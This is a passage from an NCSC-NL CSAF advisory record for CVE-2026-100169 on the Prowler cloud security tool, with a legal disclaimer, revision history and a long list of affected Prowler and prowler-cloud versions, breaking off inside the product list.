{ "document": { "category": "csaf_base", "csaf_version": "2.0", "distribution": { "tlp": { "label": "WHITE" } }, "lang": "en", "notes": [ { "category": "legal_disclaimer", "text": "The Netherlands Cyber Security Center (henceforth: NCSC-NL) maintains this portal to enhance access to its information and vulnerabilities. The use of this information is subject to the following terms and conditions:\n\nThe vulnerabilities disclosed in this portal are gathered by NCSC-NL from a variety of open sources, which the user can retrieve from other platforms. NCSC-NL makes every reasonable effort to ensure that the content of this portal is kept up to date, and that it is accurate and complete. Nevertheless, NCSC-NL cannot entirely rule out the possibility of errors, and therefore cannot give any warranty in respect of its completeness, accuracy or real-time keeping up-to-date. NCSC-NL does not control nor guarantee the accuracy, relevance, timeliness or completeness of information obtained from these external sources. The vulnerabilities disclosed in this portal are intended solely for the convenience of professional parties to take appropriate measures to manage the risks posed to the cybersecurity. No rights can be derived from the information provided therein.\n\nNCSC-NL and the Kingdom of the Netherlands assume no legal liability or responsibility for any damage resulting from either the use or inability of use of the vulnerabilities disclosed in this portal. This includes damage resulting from the inaccuracy of incompleteness of the information contained in it.\nThe information on this page is subject to Dutch law. All disputes related to or arising from the use of this portal regarding the disclosure of vulnerabilities will be submitted to the competent court in The Hague. This choice of means also applies to the court in summary proceedings." } ], "publisher": { "category": "coordinator", "contact_details": "cert@ncsc.nl", "name": "National Cyber Security Centre", "namespace": "https://www.ncsc.nl/" }, "title": "CVE-2026-100169", "tracking": { "current_release_date": "2026-10-20T10:11:58.489271Z", "generator": { "date": "2026-02-17T15:00:00Z", "engine": { "name": "V.E.L.M.A", "version": "1.7" } }, "id": "CVE-2026-100169", "initial_release_date": "2026-10-14T16:48:28.683897Z", "revision_history": [ { "date": "2026-10-14T16:48:28.683897Z", "number": "1", "summary": "CVE created.| Source created.| CVE status created. (valid)| Description created for source.| CVSS created.| References created (5).| CWES updated (1)." }, { "date": "2026-10-14T16:48:30.102077Z", "number": "2", "summary": "NCSC Score created." }, { "date": "2026-10-15T06:04:59.207089Z", "number": "3", "summary": "CVSS created.| CWES created (1).| Products created (2).| References created (5).| Description created for source.| Unknown change.| Product Identifiers created (1)." }, { "date": "2026-10-15T06:05:09.789697Z", "number": "4", "summary": "NCSC Score updated." }, { "date": "2026-10-15T06:11:11.017288Z", "number": "5", "summary": "CVSS created.| CWES created (1).| References created (7).| Description created for source.| Unknown change." }, { "date": "2026-10-15T06:48:18.094743Z", "number": "6", "summary": "CVSS created.| References created (5).| Description created for source.| Unknown change." }, { "date": "2026-10-15T06:48:30.387198Z", "number": "7", "summary": "NCSC Score updated." }, { "date": "2026-10-15T06:58:46.845071Z", "number": "8", "summary": "CVSS created.| CWES created (1).| Products created (32).| References created (7).| Description created for source.| Unknown change." }, { "date": "2026-10-15T06:59:53.353710Z", "number": "9", "summary": "CVSS created.| CWES created (1).| Products created (192).| References created (7).| Description created for source.| Unknown change.| Product Identifiers created (191)." }, { "date": "2026-10-20T07:30:48.635019Z", "number": "10", "summary": "EPSS created.| Unknown change." }, { "date": "2026-10-20T07:43:35.268452Z", "number": "11", "summary": "NCSC Score updated." }, { "date": "2026-10-20T10:11:15.837753Z", "number": "12", "summary": "Unknown change." } ], "status": "interim", "version": "12" } }, "product_tree": { "branches": [ { "branches": [ { "branches": [ { "category": "product_version_range", "name": "vers:semver/5.4.0|<5.35.0", "product": { "name": "vers:semver/5.4.0|<5.35.0", "product_id": "CSAFPID-9702546" } } ], "category": "product_name", "name": "Prowler" } ], "category": "vendor", "name": "Prowler" }, { "branches": [ { "branches": [ { "category": "product_version_range", "name": "vers:unknown/>=5.4.0|<=5.35.0", "product": { "name": "vers:unknown/>=5.4.0|<=5.35.0", "product_id": "CSAFPID-9702547", "product_identification_helper": { "cpe": "cpe:2.3:a:prowler:prowler:*:*:*:*:*:*:*:*" } } } ], "category": "product_name", "name": "prowler" } ], "category": "vendor", "name": "prowler" }, { "branches": [ { "branches": [ { "category": "product_version_range", "name": "vers:unknown/1.0", "product": { "name": "vers:unknown/1.0", "product_id": "CSAFPID-8634167" } }, { "category": "product_version_range", "name": "vers:unknown/1.1", "product": { "name": "vers:unknown/1.1", "product_id": "CSAFPID-8634166" } }, { "category": "product_version_range", "name": "vers:unknown/1.1.1", "product": { "name": "vers:unknown/1.1.1", "product_id": "CSAFPID-8634165" } }, { "category": "product_version_range", "name": "vers:unknown/1.2", "product": { "name": "vers:unknown/1.2", "product_id": "CSAFPID-8634164" } }, { "category": "product_version_range", "name": "vers:unknown/1.3", "product": { "name": "vers:unknown/1.3", "product_id": "CSAFPID-8634163" } }, { "category": "product_version_range", "name": "vers:unknown/1.4", "product": { "name": "vers:unknown/1.4", "product_id": "CSAFPID-8634162" } }, { "category": "product_version_range", "name": "vers:unknown/1.5", "product": { "name": "vers:unknown/1.5", "product_id": "CSAFPID-8634161" } }, { "category": "product_version_range", "name": "vers:unknown/1.6", "product": { "name": "vers:unknown/1.6", "product_id": "CSAFPID-8634160" } }, { "category": "product_version_range", "name": "vers:unknown/2.0", "product": { "name": "vers:unknown/2.0", "product_id": "CSAFPID-8634159" } }, { "category": "product_version_range", "name": "vers:unknown/2.10.0", "product": { "name": "vers:unknown/2.10.0", "product_id": "CSAFPID-8634150" } }, { "category": "product_version_range", "name": "vers:unknown/2.2.0", "product": { "name": "vers:unknown/2.2.0", "product_id": "CSAFPID-8634158" } }, { "category": "product_version_range", "name": "vers:unknown/2.3.0-18122020", "product": { "name": "vers:unknown/2.3.0-18122020", "product_id": "CSAFPID-8634156" } }, { "category": "product_version_range", "name": "vers:unknown/2.3.0rc", "product": { "name": "vers:unknown/2.3.0rc", "product_id": "CSAFPID-8634157" } }, { "category": "product_version_range", "name": "vers:unknown/2.4.0", "product": { "name": "vers:unknown/2.4.0", "product_id": "CSAFPID-8634155" } }, { "category": "product_version_range", "name": "vers:unknown/2.4.1", "product": { "name": "vers:unknown/2.4.1", "product_id": "CSAFPID-8634154" } }, { "category": "product_version_range", "name": "vers:unknown/2.8.0", "product": { "name": "vers:unknown/2.8.0", "product_id": "CSAFPID-8634153" } }, { "category": "product_version_range", "name": "vers:unknown/2.8.1", "product": { "name": "vers:unknown/2.8.1", "product_id": "CSAFPID-8634152" } }, { "category": "product_version_range", "name": "vers:unknown/2.9.0", "product": { "name": "vers:unknown/2.9.0", "product_id": "CSAFPID-8634151" } }, { "category": "product_version_range", "name": "vers:unknown/3.0.0", "product": { "name": "vers:unknown/3.0.0", "product_id": "CSAFPID-8634149" } }, { "category": "product_version_range", "name": "vers:unknown/3.0.1", "product": { "name": "vers:unknown/3.0.1", "product_id": "CSAFPID-8634148" } }, { "category": "product_version_range", "name": "vers:unknown/3.0.2", "product": { "name": "vers:unknown/3.0.2", "product_id": "CSAFPID-8634147" } }, { "category": "product_version_range", "name": "vers:unknown/3.1.0", "product": { "name": "vers:unknown/3.1.0", "product_id": "CSAFPID-8634146" } }, { "category": "product_version_range", "name": "vers:unknown/3.1.1", "product": { "name": "vers:unknown/3.1.1", "product_id": "CSAFPID-8634145" } }, { "category": "product_version_range", "name": "vers:unknown/3.1.2", "product": { "name": "vers:unknown/3.1.2", "product_id": "CSAFPID-8634144" } }, { "category": "product_version_range", "name": "vers:unknown/3.1.4", "product": { "name": "vers:unknown/3.1.4", "product_id": "CSAFPID-8634143" } }, { "category": "product_version_range", "name": "vers:unknown/3.2.0", "product": { "name": "vers:unknown/3.2.0", "product_id": "CSAFPID-8634142" } }, { "category": "product_version_range", "name": "vers:unknown/4.0.0", "product": { "name": "vers:unknown/4.0.0", "product_id": "CSAFPID-8634141" } }, { "category": "product_version_range", "name": "vers:unknown/5.0.0", "product": { "name": "vers:unknown/5.0.0", "product_id": "CSAFPID-8634140" } }, { "category": "product_version_range", "name": "vers:unknown/5.1.0", "product": { "name": "vers:unknown/5.1.0", "product_id": "CSAFPID-8634139" } }, { "category": "product_version_range", "name": "vers:unknown/5.30.0", "product": { "name": "vers:unknown/5.30.0", "product_id": "CSAFPID-8634138" } }, { "category": "product_version_range", "name": "vers:unknown/5.30.1", "product": { "name": "vers:unknown/5.30.1", "product_id": "CSAFPID-8634137" } }, { "category": "product_version_range", "name": "vers:unknown/5.30.2", "product": { "name": "vers:unknown/5.30.2", "product_id": "CSAFPID-8634136" } } ], "category": "product_name", "name": "prowler" }, { "branches": [ { "category": "product_version_range", "name": "vers:unknown/0.0.0rc1", "product": { "name": "vers:unknown/0.0.0rc1", "product_id": "CSAFPID-9166592", "product_identification_helper": { "purl": "pkg:pypi/prowler-cloud@0.0.0rc1" } } }, { "category": "product_version_range", "name": "vers:unknown/0.0.0rc10", "product": { "name": "vers:unknown/0.0.0rc10", "product_id": "CSAFPID-9166593", "product_identification_helper": { "purl": "pkg:pypi/prowler-cloud@0.0.0rc10" } } }, { "category": "product_version_range", "name": "vers:unknown/0.0.0rc11", "product": { "name": "vers:unknown/0.0.0rc11", "product_id": "CSAFPID-9166594", "product_identification_helper": { "purl": "pkg:pypi/prowler-cloud@0.0.0rc11" } } }, { "category": "product_version_range", "name": "vers:unknown/0.0.0rc2", "product": { "name": "vers:unknown/0.0.0rc2", "product_id": "CSAFPID-9166595", "product_identification_helper": { "purl": "pkg:pypi/prowler-cloud@0.0.0rc2" } } }, { "category": "product_version_range", "name": "vers:unknown/0.0.0rc3", "product": { "name": "vers:unknown/0.0.0rc3", "product_id": "CSAFPID-9166596", "product_identification_helper": { "purl": "pkg:pypi/prowler-cloud@0.0.0rc3" } } }, { "category": "product_version_range", "name": "vers:unknown/0.0.0rc4", "product": { "name": "vers:unknown/0.0.0rc4", "product_id": "CSAFPID-9166597", "product_identification_helper": { "purl": "pkg:pypi/prowler-cloud@0.0.0rc4" } } }, { "category": "product_version_range", "name": "vers:unknown/0.0.0rc5", "product": { "name": "vers:unknown/0.0.0rc5", "product_id": "CSAFPID-9166598", "product_identification_helper": { "purl": "pkg:pypi/prowler-cloud@0.0.0rc5" } } }, { "category": "product_version_range", "name": "vers:unknown/0.0.0rc6", "product": { "name": "vers:unknown/0.0.0rc6", "product_id": "CSAFPID-9166599", "product_identification_helper": { "purl": "pkg:pypi/prowler-cloud@0.0.0rc6" } } }, { "category": "product_version_range", "name": "vers:unknown/0.0.0rc7", "product": { "name": "vers:unknown/0.0.0rc7", "product_id": "CSAFPID-9166600", "product_identification_helper": { "purl": "pkg:pypi/prowler-cloud@0.0.0rc7" } } }, { "category": "product_version_range", "name": "vers:unknown/0.0.0rc8", "product": { "name": "vers:unknown/0.0.0rc8", "product_id": "CSAFPID-9166601", "product_identification_helper": { "purl": "pkg:pypi/prowler-cloud@0.0.0rc8" } } }, { "category": "product_version_range", "name": "vers:unknown/0.0.0rc9", "product": { "name": "vers:unknown/0.0.0rc9", "product_id": "CSAFPID-9166602", "product_identification_helper": { "purl": "pkg:pypi/prowler-cloud@0.0.0rc9" } } }, { "category": "product_version_range", "name": "vers:unknown/3.0.0", "product": { "name": "vers:unknown/3.0.0", "product_id": "CSAFPID-9166603", "product_identification_helper": { "purl": "pkg:pypi/prowler-cloud@3.0.0" } } }, { "category": "product_version_range", "name": "vers:unknown/3.0.0rc1", "product": { "name": "vers:unknown/3.0.0rc1", "product_id": "CSAFPID-9166604", "product_identification_helper": { "purl": "pkg:pypi/prowler-cloud@3.0.0rc1" } } }, { "category": "product_version_range", "name": "vers:unknown/3.0.0rc11", "product": { "name": "vers:unknown/3.0.0rc11", "product_id": "CSAFPID-9166605", "product_identification_helper": { "purl": "pkg:pypi/prowler-cloud@3.0.0rc11" } } }, { "category": "product_version_range", "name": "vers:unknown/3.0.0rc12", "product": { "name": "vers:unknown/3.0.0rc12", "product_id": "CSAFPID-9166606", "product_identification_helper": { "purl": "pkg:pypi/prowler-cloud@3.0.0rc12" } } }, { "category": "product_version_range", "name": "vers:unknown/3.0.0rc13", "product": { "name": "vers:unknown/3.0.0rc13", "product_id": "CSAFPID-9166607", "product_identification_helper": { "purl": "pkg:pypi/prowler-cloud@3.0.0rc13" } } }, { "category": "product_version_range", "name": "vers:unknown/3.0.0rc14", "product": { "name": "vers:unknown/3.0.0rc14", "product_id": "CSAFPID-9166608", "product_identification_helper": { "purl": "pkg:pypi/prowler-cloud@3.0.0rc14" } } }, { "category": "product_version_range", "name": "vers:unknown/3.0.0rc15", "product": { "name": "vers:unknown/3.0.0rc15", "product_id": "CSAFPID-9166609", "product_identification_helper": { "purl": "pkg:pypi/prowler-cloud@3.0.0rc15" } } }, { "category": "product_version_range", "name": "vers:unknown/3.0.1", "product": { "name": "vers:unknown/3.0.1", "product_id": "CSAFPID-9166610", "product_identification_helper": { "purl": "pkg:pypi/prowler-cloud@3.0.1" } } }, { "category": "product_version_range", "name": "vers:unknown/3.0.2", "product": { "name": "vers:unknown/3.0.2", "product_id": "CSAFPID-9166611", "product_identification_helper": { "purl": "pkg:pypi/prowler-cloud@3.0.2" } } }, { "category": "product_version_range", "name": "vers:unknown/3.1.0", "product": { "name": "vers:unknown/3.1.0", "product_id": "CSAFPID-9166612", "product_identification_helper": { "purl": "pkg:pypi/prowler-cloud@3.1.0" } } }, { "category": "product_version_range", "name": "vers:unknown/3.1.1", "product": { "name": "vers:unknown/3.1.1", "product_id": "CSAFPID-9166613", "product_identification_helper": { "purl": "pkg:pypi/prowler-cloud@3.1.1" } } }, { "category": "product_version_range", "name": "vers:unknown/3.1.2", "product": { "name": "vers:unknown/3.1.2", "product_id": "CSAFPID-9166614", "product_identification_helper": { "purl": "pkg:pypi/prowler-cloud@3.1.2" } } }, { "category": "product_version_range", "name": "vers:unknown/3.1.3", "product": { "name": "vers:unknown/3.1.3", "product_id": "CSAFPID-9166615", "product_identification_helper": { "purl": "pkg:pypi/prowler-cloud@3.1.3" } } }, { "category": "product_version_range", "name": "vers:unknown/3.1.4", "product": { "name": "vers:unknown/3.1.4", "product_id": "CSAFPID-9166616", "product_identification_helper": { "purl": "pkg:pypi/prowler-cloud@3.1.4" } } }, { "category": "product_version_range", "name": "vers:unknown/3.10.0", "product": { "name": "vers:unknown/3.10.0", "product_id": "CSAFPID-9166617", "product_identification_helper": { "purl": "pkg:pypi/prowler-cloud@3.10.0" } } }, { "category": "product_version_range", "name": "vers:unknown/3.11.0", "product": { "name": "vers:unknown/3.11.0", "product_id": "CSAFPID-9166618", "product_identification_helper": { "purl": "pkg:pypi/prowler-cloud@3.11.0" } } }, { "category": "product_version_range", "name": "vers:unknown/3.11.1", "product": { "name": "vers:unknown/3.11.1", "product_id": "CSAFPID-9166619", "product_identification_helper": { "purl": "pkg:pypi/prowler-cloud@3.11.1" } } }, { "category": "product_version_range", "name": "vers:unknown/3.11.2", "product": { "name": "vers:unknown/3.11.2", "product_id": "CSAFPID-9166620", "product_identification_helper": { "purl": "pkg:pypi/prowler-cloud@3.11.2" } } }, { "category": "product_version_range", "name": "vers:unknown/3.11.3", "product": { "name": "vers:unknown/3.11.3", "product_id": "CSAFPID-9166621", "product_identification_helper": { "purl": "pkg:pypi/prowler-cloud@3.11.3" } } }, { "category": "product_version_range", "name": "vers:unknown/3.12.0", "product": { "name": "vers:unknown/3.12.0", "product_id": "CSAFPID-9166622", "product_identification_helper": { "purl": "pkg:pypi/prowler-cloud@3.12.0" } } }, { "category": "product_version_range", "name": "vers:unknown/3.12.1", "product": { "name": "vers:unknown/3.12.1", "product_id": "CSAFPID-9166623", "product_identification_helper": { "purl": "pkg:pypi/prowler-cloud@3.12.1" } } }, { "category": "product_version_range", "name": "vers:unknown/3.13.0", "product": { "name": "vers:unknown/3.13.0", "product_id": "CSAFPID-9166624", "product_identification_helper": { "purl": "pkg:pypi/prowler-cloud@3.13.0" } } }, { "category": "product_version_range", "name": "vers:unknown/3.13.1", "product": { "name": "vers:unknown/3.13.1", "product_id": "CSAFPID-9166625", "product_identification_helper": { "purl": "pkg:pypi/prowler-cloud@3.13.1" } } }, { "category": "product_version_range", "name": "vers:unknown/3.14.0", "product": { "name": "vers:unknown/3.14.0", "product_id": "CSAFPID-9166626", "product_identification_helper": { "purl": "pkg:pypi/prowler-cloud@3.14.0" } } }, { "category": "product_version_range", "name": "vers:unknown/3.15.0", "product": { "name": "vers:unknown/3.15.0", "product_id": "CSAFPID-9166627", "product_identification_helper": { "purl": "pkg:pypi/prowler-cloud@3.15.0" } } }, { "category": "product_version_range", "name": "vers:unknown/3.15.1", "product": { "name": "vers:unknown/3.15.1", "product_id": "CSAFPID-9166628", "product_identification_helper": { "purl": "pkg:pypi/prowler-cloud@3.15.1" } } }, { "category": "product_version_range", "name": "vers:unknown/3.15.2", "product": { "name": "vers:unknown/3.15.2", "product_id": "CSAFPID-9166629", "product_identification_helper": { "purl": "pkg:pypi/prowler-cloud@3.15.2" } } }, { "category": "product_version_range", "name": "vers:unknown/3.15.3", "product": { "name": "vers:unknown/3.15.3", "product_id": "CSAFPID-9166630", "product_identification_helper": { "purl": "pkg:pypi/prowler-cloud@3.15.3" } } }, { "category": "product_version_range", "name": "vers:unknown/3.16.0", "product": { "name": "vers:unknown/3.16.0", "product_id": "CSAFPID-9166631", "product_identification_helper": { "purl": "pkg:pypi/prowler-cloud@3.16.0" } } }, { "category": "product_version_range", "name": "vers:unknown/3.16.1", "product": { "name": "vers:unknown/3.16.1", "product_id": "CSAFPID-9166632", "product_identification_helper": { "purl": "pkg:pypi/prowler-cloud@3.16.1" } } }, { "category": "product_version_range", "name": "vers:unknown/3.16.10", "product": { "name": "vers:unknown/3.16.10", "product_id": "CSAFPID-9166633", "product_identification_helper": { "purl": "pkg:pypi/prowler-cloud@3.16.10" } } }, { "category": "product_version_range", "name": "vers:unknown/3.16.11", "product": { "name": "vers:unknown/3.16.11", "product_id": "CSAFPID-9166634", "product_identification_helper": { "purl": "pkg:pypi/prowler-cloud@3.16.11" } } }, { "category": "product_version_range", "name": "vers:unknown/3.16.12", "product": { "name": "vers:unknown/3.16.12", "product_id": "CSAFPID-9166635", "product_identification_helper": { "purl": "pkg:pypi/prowler-cloud@3.16.12" } } }, { "category": "product_version_range", "name": "vers:unknown/3.16.13", "product": { "name": "vers:unknown/3.16.13", "product_id": "CSAFPID-9166636", "product_identification_helper": { "purl": "pkg:pypi/prowler-cloud@3.16.13" } } }, { "category": "product_version_range", "name": "vers:unknown/3.16.14", "product": { "name": "vers:unknown/3.16.14", "product_id": "CSAFPID-9166637", "product_identification_helper": { "purl": "pkg:pypi/prowler-cloud@3.16.14" } } }, { "category": "product_version_range", "name": "vers:unknown/3.16.15", "product": { "name": "vers:unknown/3.16.15", "product_id": "CSAFPID-9166638", "product_identification_helper": { "purl": "pkg:pypi/prowler-cloud@3.16.15" } } }, { "category": "product_version_range", "name": "vers:unknown/3.16.17", "product": { "name": "vers:unknown/3.16.17", "product_id": "CSAFPID-9166639", "product_identification_helper": { "purl": "pkg:pypi/prowler-cloud@3.16.17" } } }, { "category": "product_version_range", "name": "vers:unknown/3.16.2", "product": { "name": "vers:unknown/3.16.2", "product_id": "CSAFPID-9166640", "product_identification_helper": { "purl": "pkg:pypi/prowler-cloud@3.16.2" } } }, { "category": "product_version_range", "name": "vers:unknown/3.16.3", "product": { "name": "vers:unknown/3.16.3", "product_id": "CSAFPID-9166641", "product_identification_helper": { "purl": "pkg:pypi/prowler-cloud@3.16.3" } } }, { "category": "product_version_range", "name": "vers:unknown/3.16.4", "product": { "name": "vers:unknown/3.16.4", "product_id": "CSAFPID-9166642", "product_identification_helper": { "purl": "pkg:pypi/prowler-cloud@3.16.4" } } }, { "category": "product_version_range", "name": "vers:unknown/3.16.5", "product": { "name": "vers:unknown/3.16.5", "product_id": "CSAFPID-9166643", "product_identification_helper": { "purl": "pkg:pypi/prowler-cloud@3.16.5" } } }, { "category": "product_version_range", "name": "vers:unknown/3.16.6", "product": { "name": "vers:unknown/3.16.6", "product_id": "CSAFPID-9166644", "product_identification_helper": { "purl": "pkg:pypi/prowler-cloud@3.16.6" } } }, { "category": "product_version_range", "name": "vers:unknown/3.16.7", "product": { "name": "vers:unknown/3.16.7", "product_id": "CSAFPID-9166645", "product_identification_helper": { "purl": "pkg:pypi/prowler-cloud@3.16.7" } } }, { "category": "product_version_range", "name": "vers:unknown/3.16.8", "product": { "name": "vers:unknown/3.16.8", "product_id": "CSAFPID-9166646", "product_identification_helper": { "purl": "pkg:pypi/prowler-cloud@3.16.8" } } }, { "category": "product_version_range", "name": "vers:unknown/3.16.9", "product": { "name": "vers:unknown/3.16.9", "product_id": "CSAFPID-9166647", "product_identification_helper": { "purl": "pkg:pypi/prowler-cloud@3.16.9" } } }, { "category": "product_version_range", "name": "vers:unknown/3.2.0", "product": { "name": "vers:unknown/3.2.0", "product_id": "CSAFPID-9166648", "product_identification_helper": { "purl": "pkg:pypi/prowler-cloud@3.2.0" } } }, { "category": "product_version_range", "name": "vers:unknown/3.2.1", "product": { "name": "vers:unknown/3.2.1", "product_id": "CSAFPID-9166649", "product_identification_helper": { "purl": "pkg:pypi/prowler-cloud@3.2.1" } } }, { "category": "product_version_range", "name": "vers:unknown/3.2.2", "product": { "name": "vers:unknown/3.2.2", "product_id": "CSAFPID-9166650", "product_identification_helper": { "purl": "pkg:pypi/prowler-cloud@3.2.2" } } }, { "category": "product_version_range", "name": "vers:unknown/3.2.3", "product": { "name": "vers:unknown/3.2.3", "product_id": "CSAFPID-9166651", "product_identification_helper": { "purl": "pkg:pypi/prowler-cloud@3.2.3" } } }, { "category": "product_version_range", "name": "vers:unknown/3.2.4", "product": { "name": "vers:unknown/3.2.4", "product_id": "CSAFPID-9166652", "product_identification_helper": { "purl": "pkg:pypi/prowler-cloud@3.2.4" } } }, { "category": "product_version_range", "name": "vers:unknown/3.3.0", "product": { "name": "vers:unknown/3.3.0", "product_id": "CSAFPID-9166653", "product_identification_helper": { "purl": "pkg:pypi/prowler-cloud@3.3.0" } } }, { "category": "product_version_range", "name": "vers:unknown/3.3.1", "product": { "name": "vers:unknown/3.3.1", "product_id": "CSAFPID-9166654", "product_identification_helper": { "purl": "pkg:pypi/prowler-cloud@3.3.1" } } }, { "category": "product_version_range", "name": "vers:unknown/3.3.2", "product": { "name": "vers:unknown/3.3.2", "product_id": "CSAFPID-9166655", "product_identification_helper": { "purl": "pkg:pypi/prowler-cloud@3.3.2" } } }, { "category": "product_version_range", "name": "vers:unknown/3.3.3", "product": { "name": "vers:unknown/3.3.3", "product_id": "CSAFPID-9166656", "product_identification_helper": { "purl": "pkg:pypi/prowler-cloud@3.3.3" } } }, { "category": "product_version_range", "name": "vers:unknown/3.3.4", "product": { "name": "vers:unknown/3.3.4", "product_id": "CSAFPID-9166657", "product_identification_helper": { "purl": "pkg:pypi/prowler-cloud@3.3.4" } } }, { "category": "product_version_range", "name": "vers:unknown/3.4.0", "product": { "name": "vers:unknown/3.4.0", "product_id": "CSAFPID-9166658", "product_identification_helper": { "purl": "pkg:pypi/prowler-cloud@3.4.0" } } }, { "category": "product_version_range", "name": "vers:unknown/3.4.1", "product": { "name": "vers:unknown/3.4.1", "product_id": "CSAFPID-9166659", "product_identification_helper": { "purl": "pkg:pypi/prowler-cloud@3.4.1" } } }, { "category": "product_version_range", "name": "vers:unknown/3.5.0", "product": { "name": "vers:unknown/3.5.0", "product_id": "CSAFPID-9166660", "product_identification_helper": { "purl": "pkg:pypi/prowler-cloud@3.5.0" } } }, { "category": "product_version_range", "name": "vers:unknown/3.5.1", "product": { "name": "vers:unknown/3.5.1", "product_id": "CSAFPID-9166661", "product_identification_helper": { "purl": "pkg:pypi/prowler-cloud@3.5.1" } } }, { "category": "product_version_range", "name": "vers:unknown/3.5.2", "product": { "name": "vers:unknown/3.5.2", "product_id": "CSAFPID-9166662", "product_identification_helper": { "purl": "pkg:pypi/prowler-cloud@3.5.2" } } }, { "category": "product_version_range", "name": "vers:unknown/3.5.3", "product": { "name": "vers:unknown/3.5.3", "product_id": "CSAFPID-9166663", "product_identification_helper": { "purl": "pkg:pypi/prowler-cloud@3.5.3" } } }, { "category": "product_version_range", "name": "vers:unknown/3.6.0", "product": { "name": "vers:unknown/3.6.0", "product_id": "CSAFPID-9166664", "product_identification_helper": { "purl": "pkg:pypi/prowler-cloud@3.6.0" } } }, { "category": "product_version_range", "name": "vers:unknown/3.6.1", "product": { "name": "vers:unknown/3.6.1", "product_id": "CSAFPID-9166665", "product_identification_helper": { "purl": "pkg:pypi/prowler-cloud@3.6.1" } } }, { "category": "product_version_range", "name": "vers:unknown/3.7.0", "product": { "name": "vers:unknown/3.7.0", "product_id": "CSAFPID-9166666", "product_identification_helper": { "purl": "pkg:pypi/prowler-cloud@3.7.0" } } }, { "category": "product_version_range", "name": "vers:unknown/3.7.1", "product": { "name": "vers:unknown/3.7.1", "product_id": "CSAFPID-9166667", "product_identification_helper": { "purl": "pkg:pypi/prowler-cloud@3.7.1" } } }, { "category": "product_version_range", "name": "vers:unknown/3.7.2", "product": { "name": "vers:unknown/3.7.2", "product_id": "CSAFPID-9166668", "product_identification_helper": { "purl": "pkg:pypi/prowler-cloud@3.7.2" } } }, { "category": "product_version_range", "name": "vers:unknown/3.8.0", "product": { "name": "vers:unknown/3.8.0", "product_id": "CSAFPID-9166669", "product_identification_helper": { "purl": "pkg:pypi/prowler-cloud@3.8.0" } } }, { "category": "product_version_range", "name": "vers:unknown/3.8.1", "product": { "name": "vers:unknown/3.8.1", "product_id": "CSAFPID-9166670", "product_identification_helper": { "purl": "pkg:pypi/prowler-cloud@3.8.1" } } }, { "category": "product_version_range", "name": "vers:unknown/3.8.2", "product": { "name": "vers:unknown/3.8.2", "product_id": "CSAFPID-9166671", "product_identification_helper": { "purl": "pkg:pypi/prowler-cloud@3.8.2" } } }, { "category": "product_version_range", "name": "vers:unknown/3.9.0", "product": { "name": "vers:unknown/3.9.0", "product_id": "CSAFPID-9166672", "product_identification_helper": { "purl": "pkg:pypi/prowler-cloud@3.9.0" } } }, { "category": "product_version_range", "name": "vers:unknown/4.0.0", "product": { "name": "vers:unknown/4.0.0", "product_id": "CSAFPID-9166673", "product_identification_helper": { "purl": "pkg:pypi/prowler-cloud@4.0.0" } } }, { "category": "product_version_range", "name": "vers:unknown/4.0.1", "product": { "name": "vers:unknown/4.0.1", "product_id": "CSAFPID-9166674", "product_identification_helper": { "purl": "pkg:pypi/prowler-cloud@4.0.1" } } }, { "category": "product_version_range", "name": "vers:unknown/4.1.0", "product": { "name": "vers:unknown/4.1.0", "product_id": "CSAFPID-9166675", "product_identification_helper": { "purl": "pkg:pypi/prowler-cloud@4.1.0" } } }, { "category": "product_version_range", "name": "vers:unknown/4.2.0", "product": { "name": "vers:unknown/4.2.0", "product_id": "CSAFPID-9166676", "product_identification_helper": { "purl": "pkg:pypi/prowler-cloud@4.2.0" } } }, { "category": "product_version_range", "name": "vers:unknown/4.2.1", "product": { "name": "vers:unknown/4.2.1", "product_id": "CSAFPID-9166677", "product_identification_helper": { "purl": "pkg:pypi/prowler-cloud@4.2.1" } } }, { "category": "product_version_range", "name": "vers:unknown/4.2.2", "product": { "name": "vers:unknown/4.2.2", "product_id": "CSAFPID-9166678", "product_identification_helper": { "purl": "pkg:pypi/prowler-cloud@4.2.2" } } }, { "category": "product_version_range", "name": "vers:unknown/4.2.3", "product": { "name": "vers:unknown/4.2.3", "product_id": "CSAFPID-9166679", "product_identification_helper": { "purl": "pkg:pypi/prowler-cloud@4.2.3" } } }, { "category": "product_version_range", "name": "vers:unknown/4.2.4", "product": { "name": "vers:unknown/4.2.4", "product_id": "CSAFPID-9166680", "product_identification_helper": { "purl": "pkg:pypi/prowler-cloud@4.2.4" } } }, { "category": "product_version_range", "name": "vers:unknown/4.3.0", "product": { "name": "vers:unknown/4.3.0", "product_id": "CSAFPID-9166681", "product_identification_helper": { "purl": "pkg:pypi/prowler-cloud@4.3.0" } } }, { "category": "product_version_range", "name": "vers:unknown/4.3.1", "product": { "name": "vers:unknown/4.3.1", "product_id": "CSAFPID-9166682", "product_identification_helper": { "purl": "pkg:pypi/prowler-cloud@4.3.1" } } }, { "category": "product_version_range", "name": "vers:unknown/4.3.2", "product": { "name": "vers:unknown/4.3.2", "product_id": "CSAFPID-9166683", "product_identification_helper": { "purl": "pkg:pypi/prowler-cloud@4.3.2" } } }, { "category": "product_version_range", "name": "vers:unknown/4.3.3", "product": { "name": "vers:unknown/4.3.3", "product_id": "CSAFPID-9166684", "product_identification_helper": { "purl": "pkg:pypi/prowler-cloud@4.3.3" } } }, { "category": "product_version_range", "name": "vers:unknown/4.3.4", "product": { "name": "vers:unknown/4.3.4", "product_id": "CSAFPID-9166685", "product_identification_helper": { "purl": "pkg:pypi/prowler-cloud@4.3.4" } } }, { "category": "product_version_range", "name": "vers:unknown/4.3.5", "product": { "name": "vers:unknown/4.3.5", "product_id": "CSAFPID-9166686", "product_identification_helper": { "purl": "pkg:pypi/prowler-cloud@4.3.5" } } }, { "category": "product_version_range", "name": "vers:unknown/4.3.6", "product": { "name": "vers:unknown/4.3.6", "product_id": "CSAFPID-9166687", "product_identification_helper": { "purl": "pkg:pypi/prowler-cloud@4.3.6" } } }, { "category": "product_version_range", "name": "vers:unknown/4.3.7", "product": { "name": "vers:unknown/4.3.7", "product_id": "CSAFPID-9166688", "product_identification_helper": { "purl": "pkg:pypi/prowler-cloud@4.3.7" } } }, { "category": "product_version_range", "name": "vers:unknown/4.4.0", "product": { "name": "vers:unknown/4.4.0", "product_id": "CSAFPID-9166689", "product_identification_helper": { "purl": "pkg:pypi/prowler-cloud@4.4.0" } } }, { "category": "product_version_range", "name": "vers:unknown/4.4.1", "product": { "name": "vers:unknown/4.4.1", "product_id": "CSAFPID-9166690", "product_identification_helper": { "purl": "pkg:pypi/prowler-cloud@4.4.1" } } }, { "category": "product_version_range", "name": "vers:unknown/4.5.0", "product": { "name": "vers:unknown/4.5.0", "product_id": "CSAFPID-9166691", "product_identification_helper": { 